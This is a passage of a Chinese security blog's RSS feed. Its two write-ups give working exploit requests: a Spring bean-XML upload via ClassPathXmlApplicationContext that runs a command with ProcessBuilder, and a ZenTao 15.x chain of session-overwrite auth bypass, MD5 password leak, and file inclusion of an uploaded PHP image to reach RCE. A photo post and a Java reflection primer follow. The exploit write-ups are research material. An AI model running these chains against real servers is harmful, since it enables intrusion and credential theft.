&lt;bean id="pb" class="java.lang.ProcessBuilder" init-method="start"&gt;
&lt;constructor-arg&gt;
&lt;list&gt;
&lt;value&gt;cmd&lt;/value&gt;
&lt;value&gt;/c&lt;/value&gt;
&lt;value&gt;calc&lt;/value&gt;
&lt;/list&gt;
&lt;/constructor-arg&gt;
&lt;/bean&gt;
&lt;/beans&gt;
------WebKitFormBoundaryQHqrX0rFhAxqYKCz--
</code></pre>
<p style="">java的URL本身就支持http/ftp/file等协议，那么可以加载本地文件，直接命令执行成功。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744726108028.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<h4 style="" id="tomcat%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F">TOMCAT环境变量</h4>
<p style="">那么又有一个问题来了，对于不同环境不同方式启动的Tomcat，缓存路径也各不相同，有没有什么办法能让payload适配所有环境？</p>
<p style="">CATALINA_HOME 是一个环境变量，用于指示 Tomcat 服务器的安装目录路径。设置这个变量的目的是为了方便使用和管理 Tomcat 服务器。</p>
<p style="">将ClassPathXmlApplicationContext断点后可以发现有环境变量的解析，传入环境变量catalina.home。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744727249436.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">到这里会查询this.source中的所有环境变量，并取值。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744727503129.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">最终获取到值。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744727530767.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<h3 style="" id="%E6%9C%80%E7%BB%88%E5%AE%9E%E8%B7%B5">最终实践</h3>
<p style="">那我们可以直接通过传入环境变量来获取缓存文件路径，修改数据包，${catalina.home}中特殊字符要进行url编码:</p>
<pre><code class="language-http">POST /index?name=org.springframework.context.support.ClassPathXmlApplicationContext&amp;arg=file://%24%7bcatalina.home%7d/**/*.tmp HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8CrNfoP2K7OUA4na
Content-Length: 324

------WebKitFormBoundary8CrNfoP2K7OUA4na
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain

&lt;?xml version="1.0" encoding="UTF-8" ?&gt;
		&lt;beans xmlns="http://www.springframework.org/schema/beans"
		       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
		       xsi:schemaLocation="http://www.springframework.org/schema/beans
		                        http://www.springframework.org/schema/beans/spring-beans.xsd"&gt;
&lt;bean id="pb" class="java.lang.ProcessBuilder" init-method="start"&gt;
&lt;constructor-arg&gt;
&lt;list&gt;
&lt;value&gt;cmd&lt;/value&gt;
&lt;value&gt;/c&lt;/value&gt;
&lt;value&gt;calc&lt;/value&gt;
&lt;/list&gt;
&lt;/constructor-arg&gt;
&lt;/bean&gt;
&lt;/beans&gt;
------WebKitFormBoundary8CrNfoP2K7OUA4na--
</code></pre>
<p style="">发送数据包请求，成功执行命令。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744727909368.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">不出网利用成功。</p>
<h3 style="" id="%E7%9B%B8%E5%85%B3%E9%93%BE%E6%8E%A5">相关链接</h3>
<ul>
 <li>
  <p style=""><hyperlink-inline-card target="_blank" href="https://www.leavesongs.com/PENETRATION/springboot-xml-beans-exploit-without-network.html" theme="inline"><a href="https://www.leavesongs.com/PENETRATION/springboot-xml-beans-exploit-without-network.html" target="_blank">https://www.leavesongs.com/PENETRATION/springboot-xml-beans-exploit-without-network.html</a></hyperlink-inline-card></p>
 </li>
 <li>
  <p style=""><hyperlink-inline-card target="_blank" href="https://mp.weixin.qq.com/s/A3RqzJwbG3AWHXUyXT2Jbw" theme="inline"><a href="https://mp.weixin.qq.com/s/A3RqzJwbG3AWHXUyXT2Jbw" target="_blank">https://mp.weixin.qq.com/s/A3RqzJwbG3AWHXUyXT2Jbw</a></hyperlink-inline-card></p>
 </li>
 <li>
  <p style=""><hyperlink-inline-card target="_blank" href="https://github.com/bmth666/bmth_notes/blob/c8cbae0bbe251fc02ad13719f6fa063f5d8b1dea/Weblogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.md" theme="inline"><a href="https://github.com/bmth666/bmth_notes/blob/c8cbae0bbe251fc02ad13719f6fa063f5d8b1dea/Weblogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.md" target="_blank">https://github.com/bmth666/bmth_notes/blob/c8cbae0bbe251fc02ad13719f6fa063f5d8b1dea/Weblogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.md</a></hyperlink-inline-card></p>
 </li>
</ul>
<p style=""></p>]]></description><guid isPermaLink="false">/archives/019b8d68-b8e6-729c-94e3-36570716d18a</guid><dc:creator>GowNinng</dc:creator><enclosure url="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F2725liyomgsikao.png&amp;size=m" type="image/jpeg" length="16560"/><category>网络安全</category><pubDate>Tue, 15 Apr 2025 06:52:17 GMT</pubDate></item><item><title><![CDATA[禅道小范围版本通杀代码审计]]></title><link>http://gowninng.cn/archives/019b8d68-d690-7533-8b33-7311126d53b4</link><description><![CDATA[<img src="http://gowninng.cn/plugins/feed/assets/telemetry.gif?title=%E7%A6%85%E9%81%93%E5%B0%8F%E8%8C%83%E5%9B%B4%E7%89%88%E6%9C%AC%E9%80%9A%E6%9D%80%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1&amp;url=/archives/019b8d68-d690-7533-8b33-7311126d53b4" width="1" height="1" alt="" style="opacity:0;">
<h2 style="" id="%E5%89%8D%E8%A8%80">前言</h2>
<p style="">前段时间朋友打了一个站，发现资产包含禅道15.x版本，朋友说随后发给我了一份分析文章，但是并没有poc，所以着手代码审计一下。</p>
<p style="">一开始我基本上没看过禅道的源码，首先我看别人文章说的15-18有不同利用链的越权和rce，当前版本是15.0.rc2,rce估计都是在登录后才能操作功能点，所以先复现网上说的权限绕过漏洞。</p>
<h2 style="" id="%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0">漏洞复现</h2>
<p style="">下载15.0.rc2源码，然后在本地打开，老样子，直接debug调试。首先在这个源码中，有部分方法可以在用户未登录的情况下进行调用，允许未授权调用的方法在isOpenMethod() 函数中，先全局搜索下isOpenMethod() 函数。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744184566463.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">首先看到这个函数带有判断，未登录用户能访问xxx接口，登录用户且登录账户不为guest能访问xxx接口。那我们全局搜索下isLogon函数。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744184697976.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">这个代码的意思是，返回当前登录session的用户并且用户名不为guest。</p>
<p style="">那么好，我如果想访问剩下的接口，如何让这个函数成功调用，可以想到session覆盖这个东西，我可以调用一个能够覆盖session的方法，让session有user这个key，这个key也可以为空，只要不等于guest就可以。</p>
<p style="">由于这个程序session设置的写法为$this-&gt;session-&gt;set(),所以全局搜索带有$this-&gt;session-&gt;set并且能够可控变量的方法。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fimage-wpfi.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">看着有好几个，找了这么多，看到了captcha方法可以控制session的key。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744185336688.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">那我们看看怎么引用，直接构造url。</p>
<p style="">禅道的get路由构造是这样的：</p>
<p style=""><code>index.php?m=misc&amp;f=captcha&amp;sessionVar=user</code></p>
<p style="">对应以下路径。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744185471846.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">其实在很多情况下会遇到很多静态路由，禅道设置伪静态后会启用静态路由，静态路由的构造和get的不一样，去掉了key并且用横杠连接。</p>
<p style="">例如: <code>index.php/misc-captcha-user.json</code></p>
<p style="">后缀为json的会输出json格式，后缀为html的话会输出html格式。</p>
<p style="">路由格式在程序中的助手函数中的createLink方法写的很清晰。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744187279045.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744185804865.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">访问路由,会出现验证码，有的可能不会，但是不影响覆盖<code>session</code>。</p>
<p style="">接着我们访问那些需要登录的接口，就访问<code>tutorial</code>模块的<code>wizard</code>方法，这个模块是禅道的新手教程模块，正常来说访问这个接口会跳转到登录页。但是现在访问会空白，说明成功覆盖<code>session</code>。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744185904105.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744186037855.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">那好既然成功绕过权限了，但是我并不想着急找rce漏洞，我想看看能不能访问用户列表，看用户列表中能不能查看用户密码。</p>
<p style="">用户模块里可能会泄露一些用户帐密的信息。<code>todo</code>方法允许将用户查出来，然后直接将对象渲染到页面，如果直接访问该方法，会让重新登陆。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744188446062.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style=""><code>todo</code>方法最后以<code>$this-&gt;display();</code>输出到浏览器上，进一步看下这个方法。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744188808981.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">继续看<code>parse</code>方法。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744188847786.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">如果<code>viewType == 'json'</code>，则渲染json格式。不是的话默认渲染方法，适用于<code>viewType = html</code>的时候。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744189278664.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style=""><code>getViewType</code>这个方法的主要功能是确定当前请求应该使用哪种视图类型，这个就不带单独分析了。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744187658577.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">禅道的新手教程模块路由允许fetch一部分模块的方法，就是当跳板，那么我们可以通过这个wizard调到todo方法，从而实现权限绕过访问用户数据。</p>
<p style="">那我们构造可访问的url：</p>
<p style=""><code>index.php?m=tutorial&amp;f=wizard&amp;module=user&amp;method=todo&amp;params=dXNlcklEPTI=&amp;t=json</code> 其中<code>dXNlcklEPTI=</code>为base64加密，因为<code>todo</code>方法中<code>params</code>传入的是一个base64字符串，解密字符串为<code>userID=2</code>，直接在浏览器中访问。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744189582651.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">成功输出MD5password，这个password可以直接登录，抓包替换就行，原因是因为先前段MD5加密密码然后再请求后端，后端检测到密码长度为32位，直接和数据库进行对比登录。
 <br>
 成功获取到密码，那么就能直接登录后台了。</p>
<p style=""></p>
<p style="">问题来了，我看网上公开的poc都不能用，疑似版本太低缺少高版本可利用的功能漏洞点，看网上有说文件包含的，简单看了下没找到直接利用的poc，主要是也想自己审计审计。全局搜索php相关文件包含函数。</p>
<p style="">经过漫长的寻找，找到了一个可控变量的方法，里面有<code>include</code>方法。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744190238367.png&amp;size=m" width="100%" height="100%" style="display: inline-block">是一个助手函数，<code>helper::import()</code>看看有没有被引用。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744190416968.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">也是经过漫长的寻找，找到了<code>api</code>下的<code>getMethod</code>方法，参数可控，继续看看有没有被引用。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744190578650.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">找到了，<code>api</code>下的<code>dedug</code>方法，传入的是base64加密的文件，先看代码。</p>
<p style="">传入<code>$filePath</code>和<code>extendControl</code>跳到<code>getMethod</code>方法，进入此方法。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744190737787.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">先获取<code>$filePath</code>的文件夹，如果传入的是<code>xx/xxx/xxxx/1.php</code>，则输出<code>xx/xxx/xxxx</code>，先debug一下看看是不是这样。<code>debug</code>方法打断点，浏览器访问<code>debug</code>方法接口。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744190884339.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">用之前获取的密码登录，然后访问url</p>
<p style=""><code>http://localhost/www/index.php?m=api&amp;f=debug&amp;filePath=RDpccGhwc3R1ZHlfcHJvXFdXV1xtb2R1bGVccGhwaW5mby5waHA=&amp;action=extendControl</code></p>
<p style="">其中<code>RDpccGhwc3R1ZHlfcHJvXFdXV1xtb2R1bGVccGhwaW5mby5waHA=</code>为<code>D:\phpstudy_pro\WWW\module\phpinfo.php</code></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744191827449.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">先base64解码，然后因为<code>action=extendControl</code>进入<code>getMethod</code>方法。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744192021358.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style=""><code>$fileName</code>先获取当前文件的文件夹，<code>$className</code>获取当前文件的文件夹的上一层的名称，即为<code>www</code>，下一句代码是一个条件判断，用于检查指定的类<code>www</code>是否存在，如果不存在则尝试进入<code>helper::import</code>方法。<img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744192035169-igmz.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">进入到此方法，<code>$file</code>为文件夹绝对路径，但是传入的是文件夹不是文件，导致下一步返回false，退出程序，导致不能文件包含，那怎么办？</p>
<p style="">将之前的<code>D:\phpstudy_pro\WWW\module\phpinfo.php</code>改成<code>D:\phpstudy_pro\WWW\module\phpinfo.php\123</code>，那么<code>getMethod</code>中<code>$fileName</code>会读取成<code>D:\phpstudy_pro\WWW\module\phpinfo.php</code>，传入到<code>helper::import</code>的<code>$file</code>就是<code>D:\phpstudy_pro\WWW\module\phpinfo.php</code>，<code>phpinfo.php</code>会被判断成文件，然后进行文件包含。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744192740659.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">现在<code>$filename</code>变成了<code>D:\phpstudy_pro\WWW\module\phpinfo.php</code></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744192757416.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744192893216.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">直接包含成功。那么就该找上传点了，上传任意文件，将命令写入文件上传。</p>
<p style="">先看头像上传功能。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744193050659.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">上传带有php代码的图片。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744193422292.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">上传完剪切直接点x关闭，要不然会导致php代码删减。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744193494388.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">f12找到该图片路径，但是不是绝对路径，我们再看看程序中有没有泄露绝对路径的功能点。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744247384565.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744247398696.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">发现后台中的这两个功能点存在绝对路径泄露。直接拼接刚刚找到的图片路径。</p>
<p style=""><code>D:/phpstudy_pro/WWW/www/data/upload/1/202504/09181014014632h8/任意名称</code></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744247641812.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">可以看到已经出现phpinfo的内容了，放到浏览器再访问下。</p>
<p style=""><code>http://localhost/www/index.php?m=api&amp;f=debug&amp;filePath=RDovcGhwc3R1ZHlfcHJvL1dXVy93d3cvZGF0YS91cGxvYWQvMS8yMDI1MDQvMDkxODEwMTQwMTQ2MzJoOC8xMQ==&amp;action=extendModel</code></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744247770021.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">成功RCE，后续抽空再看看其他功能点和和高版本。</p>]]></description><guid isPermaLink="false">/archives/019b8d68-d690-7533-8b33-7311126d53b4</guid><dc:creator>GowNinng</dc:creator><enclosure url="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2FIMG_3051.jpeg&amp;size=m" type="image/jpeg" length="34599"/><category>网络安全</category><pubDate>Thu, 10 Apr 2025 01:18:20 GMT</pubDate></item><item><title><![CDATA[ROG DAY TOUR - 郑州]]></title><link>http://gowninng.cn/archives/de968c2f-e697-4031-bfd7-4e629252f27b</link><description><![CDATA[<img src="http://gowninng.cn/plugins/feed/assets/telemetry.gif?title=ROG%20DAY%20TOUR%20-%20%E9%83%91%E5%B7%9E&amp;url=/archives/de968c2f-e697-4031-bfd7-4e629252f27b" width="1" height="1" alt="" style="opacity:0;">
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1563723.png&amp;size=m" alt="1563723.png" width="100%" height="100%" data-position="left">
</figure>
<h3 style="" id="live-photo">Live Photo</h3>
<div class="columns" cols="2" style="display: flex;width: 100%;gap: 1em;">
 <div class="column" index="0" style="min-width: 0;flex: 1 1;box-sizing: border-box;">
  <thyuu-livephoto photo-url="/upload/IMG_2156.JPG" video-url="/upload/30B82F21-B74C-4995-A086-8C3A3A3BFF29.MP4" photo-arn="0.75"></thyuu-livephoto>
 </div>
 <div class="column" index="1" style="min-width: 0;flex: 1 1;box-sizing: border-box;">
  <thyuu-livephoto photo-url="/upload/IMG_2158.JPG" video-url="/upload/73654270-D95F-44C7-A119-BD42D420C4CF.MP4" photo-arn="0.75"></thyuu-livephoto>
 </div>
</div>
<div class="columns" cols="2" style="display: flex;width: 100%;gap: 1em;">
 <div class="column" index="0" style="min-width: 0;flex: 1 1;box-sizing: border-box;">
  <thyuu-livephoto photo-url="/upload/IMG_2151.JPG" video-url="/upload/7332FC5C-3388-4570-AC25-EF75C0279F10.MP4" photo-arn="0.75"></thyuu-livephoto>
 </div>
 <div class="column" index="1" style="min-width: 0;flex: 1 1;box-sizing: border-box;">
  <thyuu-livephoto photo-url="/upload/IMG_2154.JPG" video-url="/upload/9ECD0E7A-9446-49B8-926B-C92159600792.MP4" photo-arn="0.75"></thyuu-livephoto>
 </div>
</div>
<div class="columns" cols="2" style="display: flex;width: 100%;gap: 1em;">
 <div class="column" index="0" style="min-width: 0;flex: 1 1;box-sizing: border-box;">
  <thyuu-livephoto photo-url="/upload/IMG_2159.JPG" video-url="/upload/3F49CF10-C56A-4F63-BC22-FD06D6CAF4B7.MP4" photo-arn="0.75"></thyuu-livephoto>
 </div>
 <div class="column" index="1" style="min-width: 0;flex: 1 1;box-sizing: border-box;">
  <thyuu-livephoto photo-url="/upload/IMG_2150.JPG" video-url="/upload/6A916F20-02D0-4054-A1C4-6A262F7C2AC2.MP4" photo-arn="0.75"></thyuu-livephoto>
 </div>
 <div class="column" index="2" style="min-width: 0;flex: 1 1;box-sizing: border-box;">
  <thyuu-livephoto photo-url="/upload/IMG_2161.JPG" video-url="/upload/B7EE00AC-B0A6-4B49-81EE-6AD4601B771C.MP4" photo-arn="0.75"></thyuu-livephoto>
 </div>
</div>
<h3 style="" id="%E7%85%A7%E7%89%87">照片</h3>
<div class="columns" cols="2" style="display: flex;width: 100%;gap: 1em;">
 <div class="column" index="0" style="min-width: 0;flex: 1 1;box-sizing: border-box;">
  <figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
   <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2FIMG_2160.JPG&amp;size=m" alt="IMG_2160.JPG" width="454px" height="Infinitypx" data-position="left">
  </figure>
 </div>
 <div class="column" index="1" style="min-width: 0;flex: 1 1;box-sizing: border-box;">
  <figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
   <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2FIMG_2153.JPG&amp;size=m" alt="IMG_2153.JPG" width="100%" height="100%" data-position="left">
  </figure>
 </div>
 <div class="column" index="2" style="min-width: 0;flex: 1 1;box-sizing: border-box;">
  <figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
   <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2FIMG_2152.JPG&amp;size=m" alt="IMG_2152.JPG" width="100%" height="100%" data-position="left">
  </figure>
 </div>
</div>
<h3 style="" id="rog%E5%AE%98%E6%96%B9%E7%85%A7%E7%89%87">ROG官方照片</h3>
<h4 style="" id="%E6%88%91%E5%9C%A8%E4%B8%AD%E9%97%B4%F0%9F%98%81">我在中间😁</h4>
<div class="columns" cols="2" style="display: flex;width: 100%;gap: 1em;">
 <div class="column" index="0" style="min-width: 0;flex: 1 1;box-sizing: border-box;">
  <figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
   <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2FIMG_2163.JPG&amp;size=m" alt="IMG_2163.JPG" width="100%" height="100%" data-position="left">
  </figure>
 </div>
</div>
<p style=""></p>]]></description><guid isPermaLink="false">/archives/de968c2f-e697-4031-bfd7-4e629252f27b</guid><dc:creator>GowNinng</dc:creator><enclosure url="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2FDSCF7982-opq3356615402.jpg&amp;size=m" type="image/jpeg" length="57909"/><category>日常</category><pubDate>Sat, 9 Nov 2024 13:22:00 GMT</pubDate></item><item><title><![CDATA[Java安全-代码审计基础]]></title><link>http://gowninng.cn/archives/019b8d68-fe57-776c-890b-fada4ad9fefb</link><description><![CDATA[<img src="http://gowninng.cn/plugins/feed/assets/telemetry.gif?title=Java%E5%AE%89%E5%85%A8-%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%9F%BA%E7%A1%80&amp;url=/archives/019b8d68-fe57-776c-890b-fada4ad9fefb" width="1" height="1" alt="" style="opacity:0;">
<h1 style="" id="java%E5%8F%8D%E5%B0%84">Java反射</h1>
<p style="">在Java编程中，反射（Reflection）是一种强大的机制，允许程序在运行时检查和操作类、方法、字段等结构。通过反射，开发者可以在编译时不知道具体类的情况下，动态地加载类、调用方法、访问字段等。</p>
<h2 style="" id="%E4%BB%80%E4%B9%88%E6%98%AF%E5%8F%8D%E5%B0%84%EF%BC%9F">什么是反射？</h2>
<p style="line-height: inherit">java反射机制的核心是在程序运行的时候动态加载类并获取类的详细信息，从而操作类或对象的属性和方法。</p>
<p style="">如果你不知道类或对象的具体信息，自然也就没办法在编码阶段使用new来创建对象和使用对象。你就可以使用反射来使用Dog类。</p>
<p style="">比如在spring中，就有使用反射来动态构造类和属性的使用。</p>
<p style="">在编译时根本无法知道对象或类可能属于哪些类，程序只能依靠运行时，信息来发现该对象和类的真实信息。</p>
<p style="">比如：log4j、servlet、ssm框架技术都用到了反射机制。</p>
<h2 style="" id="%E5%8F%8D%E5%B0%84%E7%9A%84%E4%B8%BB%E8%A6%81%E7%94%A8">反射的主要用</h2>
<h2 style="" id="%E9%80%94">途</h2>
<ol>
 <li>
  <p style="">​<strong>动态加载类</strong>：可以在运行时加载类，而不是在编译时就确定。</p>
 </li>
 <li>
  <p style="">​<strong>访问私有成员</strong>：可以访问和修改类的私有字段和方法。</p>
 </li>
 <li>
  <p style="">​<strong>实现通用代码</strong>：编写适用于多种类的通用方法，如序列化、依赖注入等。</p>
 </li>
 <li>
  <p style="">​<strong>框架开发</strong>：许多框架（如Spring、Hibernate）大量使用反射来实现其功能。</p>
 </li>
</ol>
<h2 style="" id="%E5%8F%8D%E5%B0%84%E7%9A%84%E6%A0%B8%E5%BF%83%E7%B1%BB">反射的核心类</h2>
<p style="line-height: inherit">Java反射主要通过以下几个核心类来实现：</p>
<ul>
 <li>
  <p style=""><code>Class</code>：代表一个类或接口。</p>
 </li>
 <li>
  <p style=""><code>Constructor</code>：代表类的构造方法。</p>
 </li>
 <li>
  <p style=""><code>Method</code>：代表类的方法。</p>
 </li>
 <li>
  <p style=""><code>Field</code>：代表类的字段。</p>
 </li>
</ul>
<h2 style="" id="%E4%BB%A3%E7%A0%81%E7%A4%BA%E4%BE%8B%E8%A7%A3%E6%9E%90">代码示例解析</h2>
<p style="line-height: inherit">下面我们通过一个具体的代码示例，详细解析Java反射的使用。</p>
<h3 style="" id="%E7%A4%BA%E4%BE%8B%E4%BB%A3%E7%A0%81"><strong>示例代码</strong></h3>
<p style="line-height: inherit">假设我们有两个类：<code>Main</code> 和 <code>Dog</code>。</p>
<p style="line-height: inherit"><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2FQQ_1741141784052-swxy.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="line-height: inherit"><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2FQQ_1741141845317.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<pre><code class="language-java">package org.example;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class Main {
